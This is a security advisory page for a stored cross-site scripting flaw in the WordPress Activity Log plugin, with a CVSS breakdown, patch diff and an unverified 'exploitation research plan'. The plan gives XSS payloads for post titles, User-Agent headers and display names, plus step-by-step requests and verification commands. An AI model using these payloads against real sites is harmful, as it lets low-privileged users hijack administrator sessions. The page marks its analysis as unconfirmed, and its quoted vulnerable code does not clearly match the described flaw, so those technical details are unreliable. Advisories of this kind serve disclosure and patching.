CVE-2026-25331

Activity Log <= 5.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.6.0
Patched in
11d
Time to patch

Description

The Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.5.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.5.4
PublishedFebruary 14, 2026
Last updatedFebruary 24, 2026
Affected pluginwp-security-audit-log

What Changed in the Fix

Changes introduced in v5.6.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25331 - WP Activity Log Stored XSS ## 1. Vulnerability Summary **WP Activity Log** (formerly WP Security Audit Log) versions up to 5.5.4 are vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently …

Show full research plan

Exploitation Research Plan: CVE-2026-25331 - WP Activity Log Stored XSS

1. Vulnerability Summary

WP Activity Log (formerly WP Security Audit Log) versions up to 5.5.4 are vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-controlled metadata (such as post titles, usernames, or user-agent strings) before storing it in the activity log database and subsequently rendering it in the "Audit Log" admin viewer.

While the plugin uses sanitize_text_field in some settings-related AJAX handlers (e.g., WSAL\Controllers\Slack\Slack::store_slack_api_key_ajax), it fails to properly escape the output of event metadata when displayed to an administrator. An attacker with Contributor-level permissions can trigger events (like creating or updating a post) containing malicious scripts in the metadata, which then execute in the context of an administrator viewing the activity logs.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post-new.php or wp-admin/post.php (Standard WordPress Post Editor).
  • Vulnerable Parameter: post_title (Standard WordPress post title).
  • Authentication Level: Contributor or higher.
  • Preconditions: The "WP Activity Log" plugin must be active and configured to monitor post changes (default behavior).
  • Sink: The "Audit Log" viewer page (wp-admin/admin.php?page=wsal-auditlog).

3. Code Flow

  1. Entry Point: A Contributor creates or updates a post.
  2. Event Trigger: WSAL\Controllers\Alert_Manager::trigger_event($type, $data) is called by the plugin's sensors (e.g., Post_Sensor).
  3. Data Collection: The $data array is populated. For post-related events, this includes PostTitle (from get_the_title($post_id)).
  4. Storage: WSAL\Entities\Occurrences_Entity::store_record($data, $type, $date, $site_id) is called.
  5. Database Sink: The record is saved in the wsal_occurrences and wsal_metadata tables.
  6. Execution (View): An Administrator navigates to the "Audit Log" viewer.
  7. Unescaped Output: The plugin retrieves the metadata (e.g., the malicious PostTitle) and renders it into the log table without applying esc_html() or wp_kses().

4. Nonce Acquisition Strategy

No specific plugin nonce is required to trigger the vulnerability, as the attack relies on standard WordPress functionality (post creation) that the plugin monitors.

To verify the exploit as an administrator:

  1. Use browser_navigate to wp-admin/admin.php?page=wsal-auditlog.
  2. Observe the XSS execution.

5. Exploitation Strategy

Step 1: Inject Payload via Post Title

The Contributor will create a post with a title containing the XSS payload.

Action: Perform an authenticated POST request to create a new post draft.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Body:
    action=editpost
    post_ID=[NEW_POST_ID]
    post_title=<img src=x onerror=alert("CVE-2026-25331")>
    post_type=post
    save=Save Draft
    _wpnonce=[POST_NONCE]
    

(Note: Use wp post create via CLI first to get a post_ID, then update it via the web to ensure the event is logged correctly by the plugin sensors).

Step 2: Trigger Event

Once the post is saved as a draft, the plugin triggers Event 2008 ("User updated a post"). The malicious title is stored in the wsal_metadata table associated with this occurrence.

Step 3: Admin Views Log

An administrator views the "Audit Log" page.

  • Tool: browser_navigate
  • URL: http://localhost:8080/wp-admin/admin.php?page=wsal-auditlog

6. Test Data Setup

  1. Target User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Target Post: Create a post owned by the contributor to obtain a valid post_ID and nonce.
    • wp post create --post_type=post --post_status=draft --post_title="Initial Title" --post_author=[ATTACKER_ID]
  3. Plugin Config: Ensure WP Activity Log is active.
    • wp plugin activate wp-security-audit-log

7. Expected Results

  • The malicious payload <img src=x onerror=alert("CVE-2026-25331")> is written to the wp_wsal_metadata table in the database.
  • When an administrator visits the "Audit Log" page, a JavaScript alert with the text "CVE-2026-25331" appears.

8. Verification Steps (Post-Exploit)

  1. Database Check: Verify the payload is stored in the metadata table.
    wp db query "SELECT value FROM wp_wsal_metadata WHERE name='PostTitle' AND value LIKE '%onerror%';"
    
  2. Log Entry Check: Check if the event was recorded.
    wp db query "SELECT * FROM wp_wsal_occurrences ORDER BY id DESC LIMIT 1;"
    
  3. DOM Check: Using browser_eval on the Audit Log page to check for the presence of the payload in the DOM.
    browser_eval("document.body.innerHTML.includes('onerror=alert')")
    

9. Alternative Approaches

If "Post Title" is filtered upon input (unlikely for Contributors), try other logged metadata fields:

  1. User Agent: Perform an action while using a custom User-Agent header containing the XSS payload. The plugin logs the user agent for most events in the user_agent column of wsal_occurrences.
    • Payload: Mozilla/5.0 <script>alert('UA-XSS')</script>
  2. Display Name: Update the Contributor's "Display Name" to an XSS payload. The plugin logs the display name in several event types (e.g., profile updates).
    • Payload: Attacker<svg/onload=alert(1)>
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient output escaping of event metadata. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into log entries (e.g., via post titles), which execute when an administrator views the Audit Log.

Vulnerable Code

// classes/class-wp-security-audit-log.php:852 (v5.5.4)
public static function ajax_disable_custom_field() {
    // ...
    $notice = ( isset( $_POST['notice'] ) ) ? \sanitize_text_field( \wp_unslash( $_POST['notice'] ) ) : null;
    // ...
    echo wp_sprintf(
    /* translators: name of meta field (in bold) */
        '<p>' . esc_html__( 'Custom field %s is no longer being monitored.', 'wp-security-audit-log' ) . '</p>',
        '<strong>' . $notice . '</strong>' // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
    );
    // ...
}

---

// classes/Controllers/class-alert-manager.php:218 (v5.5.4)
public static function trigger_event( $type, $data = array(), $delayed = false ) {
    // ...
    $username = User_Helper::get_current_user()->user_login;
    // ...
    if ( self::check_enable_user_roles( $username, $roles ) ) {
        $data['Timestamp'] = ( isset( $data['Timestamp'] ) && ! empty( $data['Timestamp'] ) ) ? $data['Timestamp'] : current_time( 'U.u', 'true' );
        if ( $delayed ) {
            self::trigger_event_if( $type, $data, null );
        } else {
            self::commit_item( $type, $data, null );
        }
    }
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-security-audit-log/5.5.4/classes/class-wp-security-audit-log.php	2025-11-19 11:16:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-security-audit-log/5.6.0/classes/class-wp-security-audit-log.php	2026-01-29 09:02:22.000000000 +0000
@@ -799,66 +792,90 @@
 		 * @internal
 		 *
 		 * @since 5.0.0
+		 * @since 5.6.0 - Return JSON payload instead of HTML.
 		 */
 		public static function ajax_disable_custom_field() {
-			// Die if user does not have permission to disable.
 			if ( ! Settings_Helper::current_user_can( 'edit' ) ) {
-				echo '<p>' . esc_html__( 'Error: You do not have sufficient permissions to disable this custom field.', 'wp-security-audit-log' ) . '</p>';
-				die();
+				\wp_send_json_error(
+					array(
+						'message' => \esc_html__( 'Error: You do not have sufficient permissions to disable this custom field.', 'wp-security-audit-log' ),
+					),
+					403
+				);
 			}
 
-			// Filter $_POST array for security.
-			$post_array = filter_input_array( INPUT_POST );
+			$notice = \sanitize_text_field( \wp_unslash( $_POST['notice'] ?? '' ) );
 
-			$disable_nonce    = ( isset( $_POST['disable_nonce'] ) ) ? \sanitize_text_field( \wp_unslash( $_POST['disable_nonce'] ) ) : null;
-			$notice           = ( isset( $_POST['notice'] ) ) ? \sanitize_text_field( \wp_unslash( $_POST['notice'] ) ) : null;
-			$object_type_post = ( isset( $_POST['object_type'] ) ) ? \sanitize_text_field( \wp_unslash( $_POST['object_type'] ) ) : null;
+			$nonce_is_valid = \check_ajax_referer( 'disable-custom-nonce' . $notice, 'disable_nonce', false );
 
-			if ( ! isset( $disable_nonce ) || ! \wp_verify_nonce( $disable_nonce, 'disable-custom-nonce' . $notice ) ) {
-				die();
+			if ( false === $nonce_is_valid ) {
+				\wp_send_json_error(
+					array(
+						'message' => \esc_html__( 'Error: Invalid nonce.', 'wp-security-audit-log' ),
+					),
+					403
+				);
 			}
...
+			\wp_send_json_success(
+				array(
+					'notice'       => $notice,
+					'settings_url' => \esc_url_raw( $exclude_objects_link ),
+					'tab_label'    => \esc_html__( 'Excluded Objects', 'wp-security-audit-log' ),
+					'p1_parts'     => $p1_parts,
+					'p2_parts'     => $p2_parts,
+				)
 			);

Exploit Outline

1. Authenticate as a user with Contributor permissions or higher. 2. Create or edit a post and set the `post_title` to an XSS payload, such as `<img src=x onerror=alert("CVE-2026-25331")>`. 3. Save the post as a draft to trigger the plugin's monitoring sensors. 4. The plugin captures the event (e.g., Event 2008 for post update) and stores the malicious title in the `wsal_metadata` table. 5. When an administrator logs in and views the Audit Log dashboard at `wp-admin/admin.php?page=wsal-auditlog`, the stored script executes in the administrator's browser context because the plugin fails to escape the metadata values before rendering them in the table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.